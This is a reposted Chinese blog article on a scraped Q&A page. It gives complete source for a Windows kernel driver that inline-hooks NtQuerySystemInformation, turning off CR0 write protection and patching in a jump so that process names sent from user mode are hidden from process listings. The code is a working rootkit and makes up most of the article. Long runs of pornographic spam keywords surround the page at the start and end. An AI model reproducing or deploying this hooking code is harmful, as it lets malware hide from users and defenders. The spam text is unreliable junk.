日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

内核层 inlinehook 隐藏进程

發(fā)布時(shí)間:2024/4/11 编程问答 42 豆豆
生活随笔 收集整理的這篇文章主要介紹了 内核层 inlinehook 隐藏进程 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

?上次是SSDT??HOOK 方式 隱藏 進(jìn)程 ,如鏈接:http://blog.csdn.net/hjxyshell/article/details/16993119

這次是InlineHook 方式隱藏進(jìn)程,這里inline hook的原理就不做詳細(xì)介紹了,網(wǎng)上相關(guān)資源較多,擼主主要參考看雪的某大牛的“詳談內(nèi)核三步走Inline Hook實(shí)現(xiàn)”(http://bbs.pediy.com/showthread.php?t=98493

中間有一些關(guān)于進(jìn)程的枚舉的處理,上次寫(xiě)了個(gè)簡(jiǎn)單的代碼:http://blog.csdn.net/hjxyshell/article/details/17312119


代碼如下:


?

[cpp]?view plaincopy
  • #include?<ntddk.h>??
  • #include?<Wdmsec.h>????
  • #include?<Wdm.h>????
  • ??
  • //定義控制碼????
  • #define?MY_DVC_IN_CODE?\??
  • ????????(ULONG)CTL_CODE(FILE_DEVICE_UNKNOWN,\??
  • ????????????????0xa02,\??
  • ????????????????METHOD_BUFFERED,\??
  • ????????????????FILE_READ_DATA|FILE_WRITE_DATA)??
  • ??
  • //隱藏進(jìn)程鏈表相關(guān)變量??
  • //存放要隱藏進(jìn)程的名字鏈表????
  • typedef?struct?_ProcNameLink????
  • {????
  • ????UNICODE_STRING?ProcName;????
  • ????struct?_ProcNameLink?*pNext;????
  • }ProcNameLink,*pProcNameLink;??
  • ??
  • pProcNameLink?pProcNameHeader;??//鏈表頭部????
  • pProcNameLink?pProcNameTail;???//鏈表尾部???
  • //字節(jié)型數(shù)據(jù)??unsigned?char??
  • typedef?unsigned?char?BYTE;??
  • ULONG??CR0VALUE;???????????????????????//設(shè)置cr0的讀寫(xiě)標(biāo)識(shí)??
  • BYTE??OriginalBytes[5]={0};?????????????//保存原始函數(shù)前五個(gè)字節(jié)?????????????
  • BYTE?JmpAddress[5]={0xE9,0,0,0,0};???????//跳轉(zhuǎn)到HOOK函數(shù)的地址??
  • ??
  • //進(jìn)程線程?信息??結(jié)構(gòu)體??
  • struct?_SYSTEM_THREADS????
  • {????
  • ????????LARGE_INTEGER???????????KernelTime;????
  • ????????LARGE_INTEGER???????????UserTime;????
  • ????????LARGE_INTEGER???????????CreateTime;????
  • ????????ULONG???????????????????????????WaitTime;????
  • ????????PVOID???????????????????????????StartAddress;????
  • ????????CLIENT_ID???????????????????????ClientIs;????
  • ????????KPRIORITY???????????????????????Priority;????
  • ????????KPRIORITY???????????????????????BasePriority;????
  • ????????ULONG???????????????????????????ContextSwitchCount;????
  • ????????ULONG???????????????????????????ThreadState;????
  • ????????KWAIT_REASON????????????WaitReason;????
  • };????
  • //進(jìn)程信息結(jié)構(gòu)體????
  • struct?_SYSTEM_PROCESSES????
  • {????
  • ????????ULONG???????????????????????????NextEntryDelta;????
  • ????????ULONG???????????????????????????ThreadCount;????
  • ????????ULONG???????????????????????????Reserved[6];????
  • ????????LARGE_INTEGER???????????????????CreateTime;????
  • ????????LARGE_INTEGER???????????????????UserTime;????
  • ????????LARGE_INTEGER???????????????????KernelTime;????
  • ????????UNICODE_STRING??????????????????ProcessName;????
  • ????????KPRIORITY???????????????????????BasePriority;????
  • ????????ULONG???????????????????????????ProcessId;????
  • ????????ULONG???????????????????????????InheritedFromProcessId;????
  • ????????ULONG???????????????????????????HandleCount;????
  • ????????ULONG???????????????????????????Reserved2[2];????
  • ????????VM_COUNTERS?????????????????????VmCounters;????
  • ????????IO_COUNTERS?????????????????????IoCounters;?//windows?2000?only????
  • ????????struct?_SYSTEM_THREADS??????????Threads[1];????
  • };????
  • ??
  • //原函數(shù),獲取進(jìn)程(系統(tǒng))相關(guān)信息??
  • NTSYSAPI????
  • NTSTATUS????
  • NTAPI?NtQuerySystemInformation(????
  • ????????????????????????IN?ULONG?SystemInformationClass,????
  • ????????????????????????OUT?PVOID?SystemInformation,????
  • ????????????????????????IN?ULONG?SystemInformationLength,????
  • ????????????????????????OUT?PULONG?ReturnLength????
  • ????????????????????????????);??
  • NTSTATUS??
  • MyNtQuerySystemInformation(??
  • ????????????????????????IN?ULONG?SystemInformationClass,??
  • ????????????????????????OUT?PVOID?SystemInformation,??
  • ????????????????????????IN?ULONG?SystemInformationLength,??
  • ????????????????????????OUT?PULONG?ReturnLength??
  • ????????????????????????????);??
  • ??
  • //改變函數(shù)前五個(gè)字節(jié),使其跳到MyNtQuerySystemInformation函數(shù)中?????????????????????????????
  • void?HookNtQuerySystemInformation(??
  • ????????????????????//??IN?ULONG?SystemInformationClass,??
  • ????????????????????//??OUT?PVOID?SystemInfotmation,??
  • ????????????????????//??IN?ULONOG?SystemInformatonLength,??
  • ????????????????????//??OUT?PULONG?ReturnLength??
  • ????????????????????????????????)??
  • {??
  • ????//賦值前面的數(shù)組??
  • ????KIRQL?Irql;??
  • ????DbgPrint("[NtQuerySystemInformation]:?0x%x",NtQuerySystemInformation);??
  • ????//保存原函數(shù)前5個(gè)字節(jié)??
  • ????RtlCopyMemory(OriginalBytes,(BYTE*)NtQuerySystemInformation,5);??
  • ????//保存新函數(shù)5個(gè)字節(jié)自后的偏移??
  • ????*(ULONG*)(JmpAddress?+?1)?=?(ULONG)MyNtQuerySystemInformation?-?((ULONG)NtQuerySystemInformation+5);??
  • ????//開(kāi)始inline?hook??即將跳轉(zhuǎn)到新函數(shù)指令拷貝到原函數(shù)前5個(gè)字節(jié)??
  • ????//關(guān)閉內(nèi)存寫(xiě)保護(hù)??
  • ????__asm??
  • ????{??
  • ????//這里只用到eax,保存eax即可??
  • ????push?eax??
  • ????mov?eax,cr0??
  • ????mov?CR0VALUE,eax??
  • ????and?eax,0fffeffffh??
  • ????mov?cr0,eax??
  • ????pop?eax??
  • ????}??
  • ????//提升IRQL中斷級(jí)(防止寫(xiě)的過(guò)程中出新中斷,導(dǎo)致出錯(cuò))??
  • ????Irql?=?KeRaiseIrqlToDpcLevel();??
  • ????//開(kāi)始寫(xiě)函數(shù)的前5個(gè)字節(jié)(jmp?指令)??
  • ????RtlCopyMemory((BYTE*)NtQuerySystemInformation,JmpAddress,5);??
  • ????//恢復(fù)Irql??
  • ????KeLowerIrql(Irql);??
  • ????//開(kāi)啟內(nèi)存寫(xiě)保護(hù)??
  • ????__asm??
  • ????{??
  • ????push?eax??
  • ????mov?eax,CR0VALUE??
  • ????mov?cr0,eax??
  • ????pop?eax??
  • ????}??
  • ??????
  • }??
  • //取消inline?hook??
  • void?UnHookNtQuerySystemInformation(??
  • ????????????????????//??IN?ULONG?SystemInformationClass,??
  • ????????????????????//??OUT?PVOID?SystemInfotmation,??
  • ????????????????????//??IN?ULONOG?SystemInformatonLength,??
  • ????????????????????//??OUT?PULONG?ReturnLength??
  • ????????????????????????????????)??
  • {??
  • ????//把保存的五個(gè)字節(jié)寫(xiě)回原函數(shù)??
  • ????KIRQL?Irql;??
  • ????//關(guān)閉寫(xiě)保護(hù)??
  • ????__asm??
  • ????{??
  • ????????push?eax??
  • ????????mov?eax,cr0??
  • ????????mov?CR0VALUE,eax??
  • ????????and?eax,0fffeffffh??
  • ????????mov?cr0,eax??
  • ????????pop?eax??
  • ????}??
  • ????//提升IRQL?到?Dpc??
  • ????Irql?=?KeRaiseIrqlToDpcLevel();??
  • ????RtlCopyMemory((BYTE*)NtQuerySystemInformation,OriginalBytes,5);??
  • ????KeLowerIrql(Irql);??
  • ????//開(kāi)啟內(nèi)存寫(xiě)保護(hù)??
  • ????__asm??
  • ????{??
  • ????push?eax??
  • ????mov?eax,CR0VALUE??
  • ????mov?cr0,eax??
  • ????pop?eax??
  • ????}??
  • }??
  • //原函數(shù)??
  • _declspec?(naked)?NTSTATUS?OriginalNtQuerySystemInformation(??
  • ????????????????????????????????????????IN?ULONG?SystemInformationClass,??
  • ????????????????????????????????????????OUT?PVOID?SystemInfotmation,??
  • ????????????????????????????????????????IN?ULONG?SystemInformatonLength,??
  • ????????????????????????????????????????OUT?PULONG?ReturnLength??
  • ????????????????????????????????????????????????????????????)??
  • {??
  • ????__asm{??
  • ????????//這里的eax不是隨便使用個(gè)寄存器就行的,因?yàn)?/span>??
  • ????????//隨便使用個(gè)寄存器很可能會(huì)破壞原來(lái)的值??
  • ????????//因?yàn)閑ax的值在接下來(lái)會(huì)直接被覆蓋(原來(lái)的值是什么不重要了),所以這里可以使用??
  • ????????push?210h??
  • ????????mov?eax,NtQuerySystemInformation??
  • ????????add?eax,5??
  • ????????jmp?eax??
  • ????????}?????????
  • }??
  • ??
  • //MyNtQuerySystemInformation函數(shù),再此處?進(jìn)行進(jìn)程隱藏處理??
  • NTSTATUS??
  • MyNtQuerySystemInformation(??
  • ????????????????????????IN?ULONG?SystemInformationClass,??
  • ????????????????????????OUT?PVOID?SystemInformation,??
  • ????????????????????????IN?ULONG?SystemInformationLength,??
  • ????????????????????????OUT?PULONG?ReturnLength??
  • ????????????????????????????)??
  • {??
  • ????????NTSTATUS?ntStatus;??
  • ????????pProcNameLink?pTempLink;??//進(jìn)程查詢時(shí)使用??
  • ????????//DbgPrint("it's?here!!!\n");??
  • ????????//查詢系統(tǒng)信息??
  • ????????ntStatus?=?OriginalNtQuerySystemInformation(??
  • ????????????????????????????????????????????SystemInformationClass,??
  • ????????????????????????????????????????????SystemInformation,??
  • ????????????????????????????????????????????SystemInformationLength,??
  • ????????????????????????????????????????????ReturnLength??
  • ????????????????????????????????????????????????????);??
  • ????????if(NT_SUCCESS(ntStatus))??
  • ????????{??
  • ????????????if(SystemInformationClass?==?5)??
  • ????????????{??
  • ????????????????//獲取進(jìn)程信息結(jié)構(gòu)??
  • ????????????????for((pTempLink?=?pProcNameHeader->pNext)&&(pTempLink?!=?NULL);pTempLink?!=NULL;)??
  • ????????????????{??
  • ????????????????????//每次查看時(shí)?,都從進(jìn)程的列表開(kāi)始查看??
  • ????????????????????struct?_SYSTEM_PROCESSES?*curr?=?(struct?_SYSTEM_PROCESSES?*)SystemInformation;??
  • ????????????????????struct?_SYSTEM_PROCESSES?*prev?=?NULL;??
  • ????????????????????while(curr)??
  • ????????????????????{??
  • ????????????????????????if(curr->ProcessName.Buffer?!=?NULL)??
  • ????????????????????????{??
  • ????????????????????????????if(0?==?memcmp(curr->ProcessName.Buffer,pTempLink->ProcName.Buffer,16))?//判斷是否為要隱藏的進(jìn)程??
  • ????????????????????????????{??
  • ????????????????????????????????//判斷眼隱藏的進(jìn)程在鏈表的那個(gè)位置??
  • ????????????????????????????????if(prev)?//中間或最后??
  • ????????????????????????????????{??
  • ????????????????????????????????????if(curr->NextEntryDelta)????
  • ????????????????????????????????????????prev->NextEntryDelta?+=?curr->NextEntryDelta;????
  • ????????????????????????????????????else????//?在最后????
  • ????????????????????????????????????????prev->NextEntryDelta?=?0;????
  • ????????????????????????????????}??
  • ????????????????????????????????else????
  • ????????????????????????????????{????
  • ????????????????????????????????????if(curr->NextEntryDelta)????
  • ????????????????????????????????????{????
  • ????????????????????????????????????????//?要隱藏的進(jìn)程在第一個(gè)????
  • ????????????????????????????????????????(char?*)SystemInformation?+=?curr->NextEntryDelta;????
  • ????????????????????????????????????}????
  • ????????????????????????????????????else?//?只有當(dāng)前一個(gè)進(jìn)程????
  • ????????????????????????????????????????SystemInformation?=?NULL;????
  • ????????????????????????????????}????
  • ????????????????????????????}??
  • ????????????????????????}??
  • ????????????????????????prev?=?curr;????
  • ????????????????????????if(curr->NextEntryDelta)?????
  • ????????????????????????????(char?*)curr?+=?curr->NextEntryDelta;????
  • ????????????????????????else?????
  • ????????????????????????????curr?=?NULL;??????????????????????
  • ????????????????????}??
  • ?????????????????pTempLink?=?pTempLink->pNext;??
  • ????????????????}?????
  • ????????????}??
  • ????????}?????????????????????????????????
  • ????return?ntStatus;??
  • ????//return?1;??
  • }??
  • //向鏈表匯總加入新的要隱藏的進(jìn)程????
  • VOID?AddProcToLink(PUNICODE_STRING?ProcName)????
  • {????
  • ????//先判斷該進(jìn)程是否已存在,已存在則不添加(不判斷也不影響結(jié)果)????
  • ????pProcNameLink?pNewLink?=?(pProcNameLink)ExAllocatePool(NonPagedPool,?sizeof(ProcNameLink));??//新增節(jié)點(diǎn)????
  • ????(pNewLink->ProcName).Length?=?0;????
  • ????(pNewLink->ProcName).MaximumLength?=?256;????
  • ????(pNewLink->ProcName).Buffer?=?(PWCHAR)ExAllocatePool(NonPagedPool,?256);??//新增節(jié)點(diǎn)????
  • ????????
  • ????RtlCopyUnicodeString(&(pNewLink->ProcName),ProcName);??//復(fù)制????
  • ????pNewLink->pNext?=?NULL;????
  • ????pProcNameTail->pNext?=?pNewLink;????
  • ????pProcNameTail?=?pNewLink;????//鏈表末尾????
  • }????
  • //移除某個(gè)進(jìn)程????
  • VOID?RmProcFromLink(PUNICODE_STRING?pProcName)????
  • {????
  • ????pProcNameLink?pNewLink?=?pProcNameHeader;????
  • ????if(pProcNameHeader->pNext?==?NULL)????
  • ????????return;????
  • ????for(?pNewLink;pNewLink->pNext?!=?NULL;)????
  • ????{????
  • ????????//找到,則從鏈表中刪除????
  • ????????if(RtlCompareUnicodeString(&(pNewLink->pNext->ProcName),pProcName,TRUE)==0)????
  • ????????{????
  • ????????????pNewLink->pNext?=?pNewLink->pNext->pNext;????
  • ????????????if(pNewLink->pNext?==?NULL)??//鏈表結(jié)尾,為指針標(biāo)識(shí)賦值????
  • ????????????????pProcNameTail?=?pNewLink;????
  • ????????????break;????
  • ????????}????
  • ????????pNewLink?=?pNewLink->pNext;??//沒(méi)有寫(xiě)在for里面是為了方便調(diào)試時(shí)下斷點(diǎn)????
  • ????}????
  • ????
  • }????
  • //卸載驅(qū)動(dòng)??
  • VOID?OnUnload(IN?PDRIVER_OBJECT?driver)????
  • {????
  • ????UNICODE_STRING?symblink_name;??//c語(yǔ)言定義變量放在前面????
  • ????DbgPrint("ROOTKIT:?OnUnload?called\n");????
  • ???//?unhook?ZwQuerySystemInformation????
  • ????UnHookNtQuerySystemInformation();??
  • ??????
  • ????if(IoIsWdmVersionAvailable(1,0x10))????
  • ????{????
  • ????????//支持通用版本本,則創(chuàng)建全局符號(hào)鏈接\DosDevices\Global????
  • ????????RtlInitUnicodeString(&symblink_name,L"\\DosDevices\\Global\\testSL");???????????
  • ????}????
  • ????else????
  • ????{????
  • ????????//不支持,用\DosDevices????
  • ????????RtlInitUnicodeString(&symblink_name,L"\\DosDevices\\testSL");????
  • ????}????
  • ????IoDeleteSymbolicLink(&symblink_name?);????
  • ????IoDeleteDevice(driver->DeviceObject);????
  • ????DbgPrint("our?driver?is?unloading?...?\r\n");????
  • }????
  • //分發(fā)函數(shù)??
  • NTSTATUS?MyDispatchFunction(PDEVICE_OBJECT?device,?PIRP?irp)????
  • {????
  • ????CHAR?inBuffer[256];????
  • ????short?flag?=?1;??//增加鏈表????
  • ????ANSI_STRING?ansiBuffer;????
  • ????UNICODE_STRING?unicodeBuffer;????
  • ????int?i;????
  • ????//獲得當(dāng)前IRP調(diào)用的棧空間????
  • ????PIO_STACK_LOCATION?irpsp?=?IoGetCurrentIrpStackLocation(irp);????
  • ????NTSTATUS?status?=?STATUS_INVALID_PARAMETER;????
  • ????memset(inBuffer,0,256);????
  • ????//處理各種請(qǐng)求????
  • ????switch(irpsp->MajorFunction)????
  • ????{????
  • ????????case?IRP_MJ_CREATE:????
  • ????????{????
  • ????????????//簡(jiǎn)單返回一個(gè)IRP成功三部曲????
  • ????????????irp->IoStatus.Information?=?0;????
  • ????????????irp->IoStatus.Status?=?STATUS_SUCCESS;????
  • ????????????IoCompleteRequest(irp,IO_NO_INCREMENT);????
  • ????????????//應(yīng)用層,打開(kāi)設(shè)備后?打印此字符串,僅為測(cè)試????
  • ????????????DbgPrint("congratulations?gay,open?device");????
  • ????????????status?=?irp->IoStatus.Status;????
  • ????????????break;????
  • ????????}????
  • ????????case?IRP_MJ_CLOSE:????
  • ????????{????
  • ????????????irp->IoStatus.Information?=?0;????
  • ????????????irp->IoStatus.Status?=?STATUS_SUCCESS;????
  • ????????????IoCompleteRequest(irp,IO_NO_INCREMENT);????
  • ????????????//應(yīng)用層,打開(kāi)設(shè)備后?打印此字符串,僅為測(cè)試????
  • ????????????DbgPrint("congratulations?gay,close?device");????
  • ????????????status?=?irp->IoStatus.Status;????
  • ????????????break;????
  • ????????}????
  • ????????case?IRP_MJ_DEVICE_CONTROL:????
  • ????????{????
  • ????????????//得到功能號(hào)????
  • ????????????ULONG?code?=?irpsp->Parameters.DeviceIoControl.IoControlCode;????
  • ????????????//得到輸入/輸出緩沖區(qū)的長(zhǎng)度????
  • ????????????ULONG?in_len?=?irpsp->Parameters.DeviceIoControl.InputBufferLength;????
  • ????????????ULONG?out_len?=?irpsp->Parameters.DeviceIoControl.OutputBufferLength;????
  • ????????????//輸入、輸出的緩沖區(qū)是公用的內(nèi)存空間的????
  • ????????????PCHAR?buffer?=?(PCHAR)irp->AssociatedIrp.SystemBuffer;????
  • ????????????//memcpy(inBuffer,buffer,in_len);????
  • ????????????//將短字符轉(zhuǎn)化為寬字符????
  • ????????????if(buffer[0]?==?'-')????
  • ????????????????flag?=?0;????
  • ????????????ansiBuffer.Buffer?=?buffer+1;????
  • ????????????ansiBuffer.Length?=?ansiBuffer.MaximumLength?=?(USHORT)(in_len?-1);????
  • ????????????RtlAnsiStringToUnicodeString(&unicodeBuffer,?&ansiBuffer,TRUE);????
  • ????????????if(flag)????
  • ????????????????AddProcToLink(&unicodeBuffer);???//將要隱藏的進(jìn)程加入到鏈表中????
  • ????????????else????
  • ????????????????RmProcFromLink(&unicodeBuffer);????
  • ????????????DbgPrint("%ansiBuffer?=?%Z\n",&ansiBuffer);????//注意是%Z????
  • ????????????DbgPrint("unicodeBuffer?=?%wZ\n",&unicodeBuffer);????
  • ????????????if(code?==?MY_DVC_IN_CODE)????
  • ????????????{????
  • ????????????????DbgPrint("in_buffer_len?=?%d",in_len);????
  • ????????????????DbgPrint("%s",buffer);????
  • ????????????????//因?yàn)椴环祷匦畔?#xff0c;直接返回成功即可????
  • ????????????????//沒(méi)有用到輸出緩沖區(qū)????
  • ????????????????irp->IoStatus.Information?=?0;????
  • ????????????????irp->IoStatus.Status?=?STATUS_SUCCESS;????
  • ????????????}????
  • ????????????else????
  • ????????????{????
  • ????????????????//控制碼錯(cuò)誤,則不接受請(qǐng)求,直接返回錯(cuò)誤????
  • ????????????????//注意返回錯(cuò)誤和返回成功的區(qū)別????
  • ????????????????irp->IoStatus.Information?=?0;????
  • ????????????????irp->IoStatus.Status?=?STATUS_INVALID_PARAMETER;????
  • ????????????}????
  • ????????????IoCompleteRequest(irp,IO_NO_INCREMENT);????
  • ????????????status?=?irp->IoStatus.Status;????
  • ????????????break;????
  • ????????}????
  • ????????case?IRP_MJ_READ:????
  • ????????{????
  • ????????????break;????
  • ????????}????
  • ????????default:????
  • ????????{????
  • ????????????DbgPrint("unknow?request!!!");????
  • ????????????break;????
  • ????????}????
  • ????}????
  • ???????
  • ????return?status;????
  • }????
  • //驅(qū)動(dòng)入口函數(shù)??
  • NTSTATUS?DriverEntry(IN?PDRIVER_OBJECT?driver,?????
  • ?????????????????????IN?PUNICODE_STRING?reg_path)???
  • {??
  • ????ULONG?i;????
  • ????NTSTATUS?status;????
  • ????PDEVICE_OBJECT?device;????
  • ????//設(shè)備名????
  • ????UNICODE_STRING?device_name?=?RTL_CONSTANT_STRING(L"\\Device\\test");????
  • ????//符號(hào)連接名????
  • ????UNICODE_STRING?symblink_name;????
  • ????//隨手寫(xiě)一個(gè)GUID????
  • ????static?const?GUID?MYGUID_CLASS_MYCDO?=?????
  • ????{?0x63542127,?0xfbbb,?0x49c8,?{?0x8b,?0xf4,?0x8b,?0x7c,?0xb5,?0xef,?0xd3,?0x9e?}?};????
  • //static?const?GUID?DECLSPEC_SELECTANY?MYGUID_CLASS_MYCDO?=?????
  • //{?0x8524767,?0x32fe,?0x4d86,?{?0x9f,?0x48,?0xa0,?0x26,?0x94,?0xec,?0x71,?0x42?}?};????
  • ???????
  • ????//全用戶可讀權(quán)限、寫(xiě)權(quán)限????
  • ????UNICODE_STRING?sdd1=RTL_CONSTANT_STRING(L"D:P(A;;GA;;;WD)");????
  • ????//初始化第一個(gè)結(jié)構(gòu)體????
  • ????pProcNameHeader?=(pProcNameLink)ExAllocatePool(NonPagedPool,?sizeof(ProcNameLink));????
  • ????pProcNameHeader->pNext?=?NULL;????
  • ????pProcNameTail?=?pProcNameHeader;????
  • ????//RtlInitUnicodeString(&(pProcNameHeader->ProcName),L"");????
  • ????//_asm?int?3????
  • ????//生成設(shè)備????
  • ????status?=?IoCreateDeviceSecure(????
  • ????????????????????????????driver,????
  • ????????????????????????????0,????
  • ????????????????????????????&device_name,????
  • ????????????????????????????FILE_DEVICE_UNKNOWN,????
  • ????????????????????????????FILE_DEVICE_SECURE_OPEN,????
  • ????????????????????????????FALSE,????
  • ????????????????????????????&sdd1,????
  • ????????????????????????????(LPCGUID)&MYGUID_CLASS_MYCDO,????
  • ????????????????????????????&device????
  • ????????????????????????????);????
  • ????if(!NT_SUCCESS(status))????
  • ????{????
  • ????????DbgPrint("IoCreateDeviceSecure?failed?");????
  • ????????return?status;????
  • ????}????
  • ????DbgPrint("good?job1");????
  • ????//創(chuàng)建符號(hào)鏈接????
  • ????if(IoIsWdmVersionAvailable(1,0x10))????
  • ????{????
  • ????????//支持通用版本本,則創(chuàng)建全局符號(hào)鏈接\DosDevices\Global????
  • ????????RtlInitUnicodeString(&symblink_name,L"\\DosDevices\\Global\\testSL");???????????
  • ????}????
  • ????else????
  • ????{????
  • ????????//不支持,用\DosDevices????
  • ????????RtlInitUnicodeString(&symblink_name,L"\\DosDevices\\testSL");????
  • ????}????
  • ????status?=?IoCreateSymbolicLink(&symblink_name,&device_name);????
  • ????if(!NT_SUCCESS(status))????
  • ????{????
  • ????????DbgPrint("IoCreateSymbolicLink?failed");????
  • ????????return?status;????
  • ????}????
  • ????DbgPrint("good?job2");????
  • ????//初始化驅(qū)動(dòng)處理????
  • ????for(i=0;i<IRP_MJ_MAXIMUM_FUNCTION;i++)????
  • ????{????
  • ????????driver->MajorFunction[i]?=?MyDispatchFunction;????
  • ????}????
  • ???//?save?old?system?call?locations????
  • ???//OldZwQuerySystemInformation?=(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));????
  • ?????//?Register?a?dispatch?function?for?Unload????
  • ????driver->DriverUnload??=?OnUnload;?????
  • ????????
  • ?????//?inline?hook?????
  • ????HookNtQuerySystemInformation();??
  • ??????????????????????????????????
  • ???return?STATUS_SUCCESS;??????????????
  • ???????????????????????
  • }??
  • 說(shuō)明:

    ? ? _declspec (naked) NTSTATUS OriginalNtQuerySystemInformation??函數(shù)中的寄存器不是隨便使用的,正如代碼中注釋所述一樣,這里使用eax,因?yàn)閑ax的值會(huì)被直接覆蓋,對(duì)后續(xù)程序并無(wú)影響

    如圖:

    ?

    驅(qū)動(dòng)安裝運(yùn)行后,在查看函數(shù)NtQuerySystemInformation,已經(jīng)被我們掌控


    總結(jié)

    以上是生活随笔為你收集整理的内核层 inlinehook 隐藏进程的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

    如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。

    97久久精品午夜一区二区 | 日韩一区在线免费观看 | 国产精品久久久久久久久久白浆 | 国产精品成人一区二区三区 | 日韩高清免费在线观看 | 亚洲播放一区 | 99视频网站 | 日本中文字幕在线观看 | 亚洲欧美成aⅴ人在线观看 四虎在线观看 | 久久草草影视免费网 | 日本中文字幕在线免费观看 | 国产亚洲片 | 二区三区中文字幕 | 国产精品久久久免费看 | 欧洲激情在线 | 久久再线视频 | 91香蕉视频好色先生 | 久久综合丁香 | a级国产乱理论片在线观看 特级毛片在线观看 | 亚洲www天堂com | 岛国精品一区二区 | 国产玖玖在线 | 欧美日韩一区久久 | 99精品偷拍视频一区二区三区 | 日日夜夜狠狠 | 中文字幕在线看 | 亚洲精品视频在线观看视频 | 国内精品亚洲 | 亚洲精品久久久蜜臀下载官网 | 97av视频在线观看 | 日韩免费一二三区 | 国产福利一区二区三区在线观看 | 激情综合五月天 | 五月婷视频| 亚洲精品国产第一综合99久久 | 波多野结衣动态图 | 在线观看日韩免费视频 | 三级毛片视频 | 国产九色91| 日韩色高清| 五月婷婷在线综合 | 久草久草在线 | 国产福利中文字幕 | 国产中文字幕在线观看 | 国产特级毛片aaaaaa高清 | 日日夜夜精品免费 | 天天操天天操天天操天天操天天操 | 国内成人精品视频 | 五月婷婷毛片 | 天天操天天弄 | 特级西西444www大精品视频免费看 | 欧美一级大片在线观看 | 在线影视 一区 二区 三区 | 久久久久黄 | 欧美日韩免费一区二区三区 | 99国产精品久久久久久久久久 | 久久人人爽人人人人片 | 成人国产精品电影 | 久久免费av | 在线亚洲播放 | 欧美在线观看小视频 | 色综合久久悠悠 | 国产亚洲人成网站在线观看 | 久久a热6 | 五月天婷亚洲天综合网精品偷 | 丁香婷婷射 | 91精品国产92久久久久 | 精品美女视频 | 色噜噜在线观看视频 | 黄色免费高清视频 | 色网站在线看 | 国产蜜臀av| 欧美成a人片在线观看久 | 欧美激情综合五月色丁香小说 | 成年人免费在线看 | 精品免费观看视频 | 五月婷婷婷婷婷 | 97国产情侣爱久久免费观看 | 特级黄录像视频 | 欧美日在线观看 | 在线观看免费 | 三级av免费看 | 成片免费观看视频 | 精品国产电影一区 | 99re国产| av黄色免费网站 | 玖玖999| 日韩在线播放欧美字幕 | 国产精品第一视频 | 日韩簧片在线观看 | www.夜色321.com| 天天干夜夜爽 | 人人爽人人做 | 国产成人99av超碰超爽 | 久久香蕉电影 | 黄色免费观看 | 91黄色影视| 在线视频黄| 亚洲伊人av | 69av免费视频 | 精品国产一区二区三区蜜臀 | 亚洲 欧美 变态 国产 另类 | 丁香六月av | 久艹视频在线观看 | 欧美福利片在线观看 | 国产99久久九九精品 | 日韩av成人 | 91在线视频播放 | 91在线porny国产在线看 | 中文有码在线 | 色五月成人 | 天天操天天射天天插 | 国产精品a久久久久 | 69精品在线观看 | 一级性生活片 | 精品国产免费看 | 精品国产一区二区三区久久久久久 | 日韩av福利在线 | 色吊丝在线永久观看最新版本 | 中文字幕视频三区 | 在线激情小视频 | 精品国产一区二区三区久久久蜜月 | 免费av一级电影 | 国产原创在线观看 | 狠狠狠色丁香婷婷综合久久五月 | www.久久久.com | 99re中文字幕 | 特级西西人体444是什么意思 | 伊人五月天婷婷 | 99久久夜色精品国产亚洲96 | 97在线精品 | 欧美日韩二区在线 | 亚洲激情网站免费观看 | 最新av免费| 亚洲精品一区二区18漫画 | 亚洲天天干 | 欧美淫视频| 欧美日产一区 | 久久免费视频在线观看6 | www.狠狠干 | 亚洲性少妇性猛交wwww乱大交 | 丁香六月天 | 精品国产一区二区在线 | 黄色成人在线观看 | 福利一区二区 | 久久精品电影 | 欧美在线一二区 | 西西444www大胆高清图片 | 色综合久久88 | 成年人免费观看国产 | 亚洲精品一区二区三区高潮 | 色播六月天 | 在线观看日本高清mv视频 | 久久久国产精品一区二区中文 | 久久久久久在线观看 | 国产不卡在线观看视频 | 一级特黄av | 中文字幕成人在线观看 | 国产精品对白一区二区三区 | 亚洲日本在线视频观看 | 亚洲国产97在线精品一区 | 黄色大片入口 | 一区二区视 | 91久久丝袜国产露脸动漫 | 精品久久美女 | wwwav视频| 免费在线 | 91一区啪爱嗯打偷拍欧美 | 国产精品视频在线观看 | 成年人国产视频 | 成人黄色影片在线 | 久久深爱网 | 一区二区三区在线免费观看视频 | 午夜视频免费在线观看 | 久久久99精品免费观看app | 日本不卡123区 | 激情网在线视频 | 国产亚洲aⅴaaaaaa毛片 | 精品自拍网 | 岛国片在线 | 三级av片 | 色婷婷综合在线 | 亚洲欧美久久 | 99久久精品电影 | 欧美一区二区伦理片 | 成人免费看电影 | 天堂av免费看 | 精品高清视频 | 美女网站色 | 国产美女视频 | 激情影院在线观看 | 久久国产网站 | 国产日韩精品一区二区三区 | 成人av免费播放 | aaa日本高清在线播放免费观看 | 91在线一区二区 | 午夜视频久久久 | 久久成人国产 | 日韩草比 | 免费在线观看毛片网站 | 国产精品永久久久久久久久久 | 啪啪肉肉污av国网站 | 中文字幕传媒 | 成人毛片在线视频 | 国产手机视频在线观看 | 国产精品一区二区果冻传媒 | 一区二区视频在线播放 | 在线观看精品 | 黄色免费视频在线观看 | 免费日韩av片 | 日本久久成人 | 国产超碰在线 | 国产亚洲精品久久久久秋 | 免费在线观看视频一区 | 日日干激情五月 | 黄色在线观看www | 精品久久美女 | 欧美一级淫片videoshd | 国产激情免费 | 国产精品国产毛片 | 97视频在线 | 欧美国产不卡 | 欧美黑人巨大xxxxx | 国产麻豆视频免费观看 | 亚洲在线视频播放 | 午夜免费在线观看 | 狠狠操精品| 91片网| 久久久久97国产 | 高清不卡免费视频 | 麻豆 videos| 麻豆果冻剧传媒在线播放 | 伊人五月天婷婷 | 精品一区在线看 | 欧美做受高潮 | 婷婷婷国产在线视频 | 91天堂在线观看 | 欧美夫妻性生活电影 | www.色婷婷.com | 久草| 日本最新高清不卡中文字幕 | av日韩国产 | 日韩精品一区二区三区不卡 | 欧美激情视频一区二区三区免费 | 99免费在线播放99久久免费 | 九九热国产视频 | 91精品国产91久久久久福利 | 久久久一本精品99久久精品66 | 